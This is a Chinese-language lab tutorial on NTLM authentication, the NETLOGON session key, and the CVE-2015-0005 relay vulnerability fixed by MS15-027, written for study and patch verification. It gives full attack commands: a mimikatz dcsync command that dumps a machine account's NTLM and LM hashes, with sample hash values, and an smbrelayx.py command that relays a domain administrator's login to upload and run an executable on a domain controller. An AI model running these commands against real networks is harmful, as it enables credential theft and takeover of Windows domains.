启用SMB签名和通信会话签名后,应用服务器和客户端之间的所有流量都有签名验证保护,中间人gongji者因为无法伪造签名而不能与目标主机进行正常的通信。签名密钥SessionKey基于客户端账号的口令NTLM值生成,应用服务器在认证阶段从认证服务器获取;客户端采用和认证服务器相同的算法,基于自身口令的NTLM值生成会话密钥。由于SessionKey不需要交换,因此中间人攻击没有办法获取会话密钥,如果中间人可以获取SessionKey,则可以实现对数据的篡改复用等。
在典型的内网应用场景中,客户端向应用服务器发起服务请求之前要进行身份认证,应用服务器(例如WEB服务器)收到客户端的NTLM认证信息后,由于本身没有存储请求账号的口令等认证信息,必须依赖域服务器等认证服务器进行认证,应用服务器将收到的认证信息发送给认证服务器,发送认证信息到认证服务器的交互会话基于NETLOGON协议,即下图中的第7步。
NTLM重放攻击的分解步骤示意图
应用服务器和认证服务器之间建立一个基于NETLOGON协议的安全会话,一是用于认证;二是用于交换应用服务器与用户客户端通信的SessionKey。这个NETLOGON安全会话本身的共享密钥则基于应用服务器主机账号的口令NTLM值生成,或者更简单的理解为NTLM值本身,实际上是基于NTLM值经过固定的算法获得。应用服务器和认证服务器均事先存储有应用服务器主机账号的口令NTLM值,因此应用服务器与域服务器之间的NETLOGON并不需要交互应用服务器主机账号的口令NTLM值。
由此可以得知,如果攻击者控制了任何一台域内主机(域内主机均具有自身主机账号的口令NTLM值),只要能获取此前客户端请求用户发送给应用服务器的认证信息,攻击者就可以向域服务器发起NETLOGON会话,从而获取SessionKey,随后可以发起重放攻击。基于NETLOGON协议建立安全会话主要调用4个API接口,最主要的功能由第2个API接口完成:
1、NetrLogonSamLogonEx 2、NetrLogonSamLogonWithFlags 3、NetrLogonSamLogon 4、NetrLogonSamLogoff |
我们结合实验环境来说明上述过程。adsec.com域内一台主机win7x86cn,域内账号eviluser;eviluser在win7x86cn登录访问域服务器Win2016-dc01的SMB服务(这里域服务器同时承担应用服务器和认证服务器2个角色),采用NTLM认证方式,认证过程流程如下,读者可以结合上图中的8个步骤进行学习理解:
1、eviluser首先向Win2016-dc01的SMB 445端口发起一个连接NTLM_NEGOTIATE,协商使用NTLM认证方式;
2、Win2016-dc01的SMB服务收到NTLM_NEGOTIATE后,发送NTLM_CHALLEGE返回给eviluser;
3、eviluser收到NTLM_CHALLEGE后,向Win2016-dc01的SMB服务发送一个NTLM认证报文;
4、Win2016-dc01和域服务器之间(这是同一台服务器)共享了主机服务账号Win2016-dc01$的口令NTLM值,以此生成NETLOGON的会话密钥,创建一个NETLOGON安全会话。应用服务器Win2016-dc01通过RPC调用域服务器Win2016-dc01的NetrLogonSamLogonWithFlags函数,并将eviluser发送过来的认证信息加上此前的挑战信息全部填装进入作为第3个参数“Authenticator”,这个函数的微软官方原型定义如下:
NTSTATUS NetrLogonSamLogonWithFlags( [in, unique, string] LOGONSRV_HANDLE LogonServer, [in, string, unique] wchar_t* ComputerName, [in, unique] PNETLOGON_AUTHENTICATOR Authenticator, [in, out, unique] PNETLOGON_AUTHENTICATOR ReturnAuthenticator, [in] NETLOGON_LOGON_INFO_CLASS LogonLevel, [in, switch_is(LogonLevel)] PNETLOGON_LEVEL LogonInformation, [in] NETLOGON_VALIDATION_INFO_CLASS ValidationLevel, [out, switch_is(ValidationLevel)] PNETLOGON_VALIDATION ValidationInformation, [out] UCHAR * Authoritative, [in, out] ULONG * ExtraFlags ); |
5、域服务器Win2016-dc01收到信息后,验证认证信息,如果认证合法则返回STATUS_SUCCESS,结合上图中,去掉中间攻击者的3步,到此NTLM经典的5步认证过程已经完成。
在上面的认证过程中,如果应用服务器通过RPC调用NetrLogonSamLogonWithFlags函数成功,则应用服务器会得到一个NETLOGON_VALIDATION数据结构,该结构的结尾可能是以下结构中的一种:
NETLOGON_VALIDATION_SAM_INFO NETLOGON_VALIDATION_SAM_INFO2 NETLOGON_VALIDATION_SAM_INFO4 |
在这个结构中有一个重要的数据“UserSessionKey”,就是SessionKey,用于客户端和应用服务器之间的会话密钥。NETLOGON_VALIDATION_SAM_INFO结构的微软官方定义如下:
typedef struct _NETLOGON_VALIDATION_SAM_INFO4 { … unsigned long GroupCount; [size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds; unsigned long UserFlags; USER_SESSION_KEY UserSessionKey; RPC_UNICODE_STRING LogonServer; RPC_UNICODE_STRING LogonDomainName; … }; |
NetrLogonSamLogonWithFlags函数的第2个参数为主机名“ComputerName”,微软的解释是“ComputerName: The Unicode string that contains the NetBIOS name of the client computer calling this method”,主机名为调用该函数的主机名;该函数由应用服务器通过RPC远程调用,因此该主机名理论上应该与应用服务器主机名(NetBIOS)一致,而NTLM_AUTHENTICATION认证消息中包含应用服务器的主机名字段。实际中,域服务器在使用NETLOGON协议时,没有校验检查“这个主机名和用于做应用服务器与域服务器之间安全会话密钥的主机名应该一致”,导致任意域内主机即可,所以才有我们上面的结论“当攻击者控制了任何一台域内主机,只要能获取此前用户提交给应用服务器的认证信息,就可以向域服务器发起NETLOGON会话,从而获取SessionKey”,这就是著名的CVE-2015-0005漏洞。
微软发布了补丁MS15-027,针对这个漏洞进行了修补,将ComputerName字段与认证信息中的NetBIOS字段进行了校验,并且对这个消息认证块进行了签名校验。
CVE-2015-0005重放攻击拓扑、原理示意图
漏洞的发现者发布了POC工具,我们通过实验来加深对漏洞的学习理解。上图是实验拓扑、实验原理图。
第1步,使用域账号eviluser登录win7x86cn(192.168.8.94),运行命令“mimikatz.exe "privilege::debug" "lsadump::dcsync /patch /user:win7x86cn$" exit > hash.txt”,获取本机主机账号win7x86cn$的NTLM Hash和LM Hash。注意,必须获取本地完全管理员权限,才能成功获取NTLM,所以在实验前需要通过组策略将域内账号eviluser加入到win7x86cn的本地管理员组。命令运行的结果见下图,
win7x86cn$的NTLM值为
0576cc2807a5ce82e25a82e99def6262、
LM值为
59222f734ff3b13a5cbb2459b5d0483e。
NTLM值获取结果
漏洞作者发布的POC工具为smbrelayx.py(需要Python环境支撑),该工具可以从github上下载,也可以从impacket工具包中获取,工具已经集成到impacket平台上。
第2步,在win7x86cn主机中,继续执行“python smbrelayx.py -h 192.168.8.80 -e calc.exe -machine-account adsec/WIN7X86CN$ -machine-hashes 59222f734ff3b13a5cbb2459b5d0483e:0576cc2807a5ce82e25a82e99def6262 -domain 192.168.8.80”命令。
这条命令表示将使用WIN7X86CN$这个账号的NTLM值、LM值与域服务器192.168.8.80建立NETLOGON安全会话,被攻击主机为192.168.8.80,将在被攻击主机中上传计算器文件calc.exe,该文件需放在smbrelayx.py同目录下,默认上传目录为“c:\windows”。
执行成功后,会启动伪造的HTTP服务、SMB服务,因为随后的重放攻击是HTTP->SMB,然后等待被攻击主机访问连接,如下图所示。
命令执行后状态
第3步,使用高权限的域管理员账号administrator登录win7x86cn01主机。为了简化过程,在win7x86cn01主机上主动访问攻击主机的SMB服务,代替被诱骗过程;在win7x86cn01上执行“dir \\192.168.8.94\c$”命令,主动访问攻击者伪造的SMB服务,执行结果如下图所示。
访问伪造SMB服务的命令执行后状态
在攻击主机win7x86cn中可以看到,192.18.8.95已连接,并开始对目标服务器192.168.8.80进行重放攻击,过程状态见下图所示。
攻击主机上的攻击命令执行状态
第4步,经过几十秒的等待,对目标服务器即域服务器的重放攻击成功,枚举了域服务器的共享目录,并将calc.exe上传到域服务器的“c:\windows”目录中,结果见下图,第1个红色框表示以域管理员的权限成功认证到域服务器,并且枚举了域管理员的NTLM值;第2条红色线条,表示开始访问域服务器的共享目录;第3条红线,表示发现了域服务器上的admin$共享目录,并且具备写权限;第4条红线表示成功的上传了文件CMhLVgUn.exe,即calc.exe文件,POC工具会对待上传的文件进行名字的随机化命名,满足真正的攻击场景;最后的日志输出表示在域服务器上打开服务管理器SVCManager,开始创建服务。
攻击主机上的攻击命令执行状态
第5步,在域服务器上,通过资源管理器中查看C:\Windows目录,其中CMhLVgUn.exe文件即攻击成功后上传的可执行文件,如下图所示,表明攻击者已获取了域服务器的高访问权限。
域服务器的Windows目录已经被上传了计算器文件
读者朋友们可以将MS15-027补丁打上后,再重复上述实验,验证补丁效果以及POC工具的报错信息。